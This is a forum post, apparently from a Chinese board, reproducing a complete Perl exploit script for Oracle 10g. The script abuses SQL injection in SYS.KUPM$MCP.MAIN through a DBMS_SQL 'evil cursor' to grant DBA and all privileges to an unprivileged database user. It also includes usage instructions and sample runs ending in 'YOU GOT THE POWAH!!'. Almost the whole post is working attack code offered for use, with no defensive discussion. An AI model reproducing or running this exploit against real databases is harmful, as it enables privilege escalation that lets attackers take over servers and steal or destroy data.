发新话题
打印

Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit v2

Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit v2

Code Language : Perl
  1. #!/usr/bin/perl
  2. #
  3. # Remote Oracle KUPM$MCP.MAIN exploit (10g)
  4. # - Version 2 - New \"evil cursor injection\" tip!
  5. # - No \"create procedure\" privilege needed!
  6. # - See: [url]http://www.databasesecurity.com/[/url] (Cursor Injection)
  7. #
  8. # Grant or revoke dba permission to unprivileged user
  9. #
  10. # Tested on \"Oracle Database 10g Enterprise Edition Release 10.1.0.3.0\"
  11. #
  12. #  REF:  [url]http://www.red-database-security.com/[/url]
  13. #  
  14. #  AUTHOR: Andrea \"bunker\" Purificato
  15. #      [url]http://rawlab.mindcreations.com[/url]
  16. #
  17. #  DATE:  Copyright 2007 - Tue Mar 27 10:46:55 CEST 2007
  18. #
  19. # Oracle InstantClient (basic + sdk) required for DBD::Oracle
  20. #
  21. #
  22. # bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
  23. # [-] Wait...
  24. # [-] Revoking DBA from BUNKER...
  25. # DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement \"REVOKE DBA FROM BUNKER\"] at kupm-mcpmainV2.pl line 104.
  26. # [-] Done!
  27. #
  28. # bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -g
  29. # [-] Wait...
  30. # [-] Creating evil cursor...
  31. # Cursor: 2
  32. # [-] Go ...(don't worry about errors)!
  33. # DBD::Oracle::st execute failed: ORA-06512: at \"SYS.KUPM$MCP\", line 874
  34. # ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement \"
  35. # BEGIN
  36. #  SYS.KUPM$MCP.MAIN(''' AND 0=dbms_sql.execute(2)--','');
  37. # END;
  38. # \"] at kupm-mcpmainV2.pl line 134.
  39. # [-] YOU GOT THE POWAH!!
  40. #
  41. # bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
  42. # [-] Wait...
  43. # [-] Revoking DBA from BUNKER...
  44. # [-] Done!
  45. #
  46.  
  47. use warnings;
  48. use strict;
  49. use DBI;
  50. use Getopt::Std;
  51. use vars qw/ %opt /;
  52.  
  53. sub usage {
  54.   print <<\"USAGE\";
  55.  
  56. Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
  57.  
  58. Options:
  59.   -h   <host>   target server address
  60.   -s   <sid>   target sid name
  61.   -u   <user>   user
  62.   -p   <passwd>  password
  63.  
  64.   -g|-r       (g)rant dba to user | (r)evoke dba from user
  65.  [-P   <port>   Oracle port]
  66.  
  67. USAGE
  68.  exit 0
  69. }
  70.  
  71. my $opt_string = 'h:s:u:p:grP:';
  72. getopts($opt_string, \%opt) or &usage;
  73. &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
  74. &usage if ( !$opt{g} and !$opt{r} );
  75. my $user = uc $opt{u};
  76.  
  77. my $dbh = undef;
  78. if ($opt{P}) {
  79.  $dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\", $opt{u}, $opt{p}) or die;
  80. } else {
  81.  $dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\", $opt{u}, $opt{p}) or die;
  82. }
  83.  
  84. my $sqlcmd = \"GRANT ALL PRIVILEGE, DBA TO $user\";
  85. print \"[-] Wait...\n\";
  86. $dbh->func( 1000000, 'dbms_output_enable' );
  87.  
  88.  
  89. if ($opt{r}) {
  90.  print \"[-] Revoking DBA from $user...\n\";
  91.  $sqlcmd = \"REVOKE DBA FROM $user\";
  92.  $dbh->do( $sqlcmd );
  93.  print \"[-] Done!\n\";
  94.  $dbh->disconnect;
  95.  exit;
  96. }
  97.  
  98. print \"[-] Creating evil cursor...\n\";
  99. my $sth = $dbh->prepare(qq{
  100. DECLARE
  101. MYC NUMBER;
  102. BEGIN
  103. MYC := DBMS_SQL.OPEN_CURSOR;
  104. DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
  105. DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
  106. END;
  107. } );
  108. $sth->execute;
  109. my $cursor = undef;
  110. while (my $line = $dbh->func( 'dbms_output_get' )) {
  111.  print \"$line\n\";
  112.  if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
  113. }
  114. $sth->finish;
  115.  
  116. print \"[-] Go ...(don't worry about errors)!\n\";
  117. $sth = $dbh->prepare(qq{
  118. BEGIN
  119. SYS.KUPM\$MCP.MAIN(''' AND 0=dbms_sql.execute($cursor)--','');
  120. END;
  121. });
  122. $sth->execute;
  123. $sth->finish;
  124. print \"[-] YOU GOT THE POWAH!!\n\";
  125. $dbh->disconnect;
  126. exit;
Parsed in 0.021 seconds

TOP

发新话题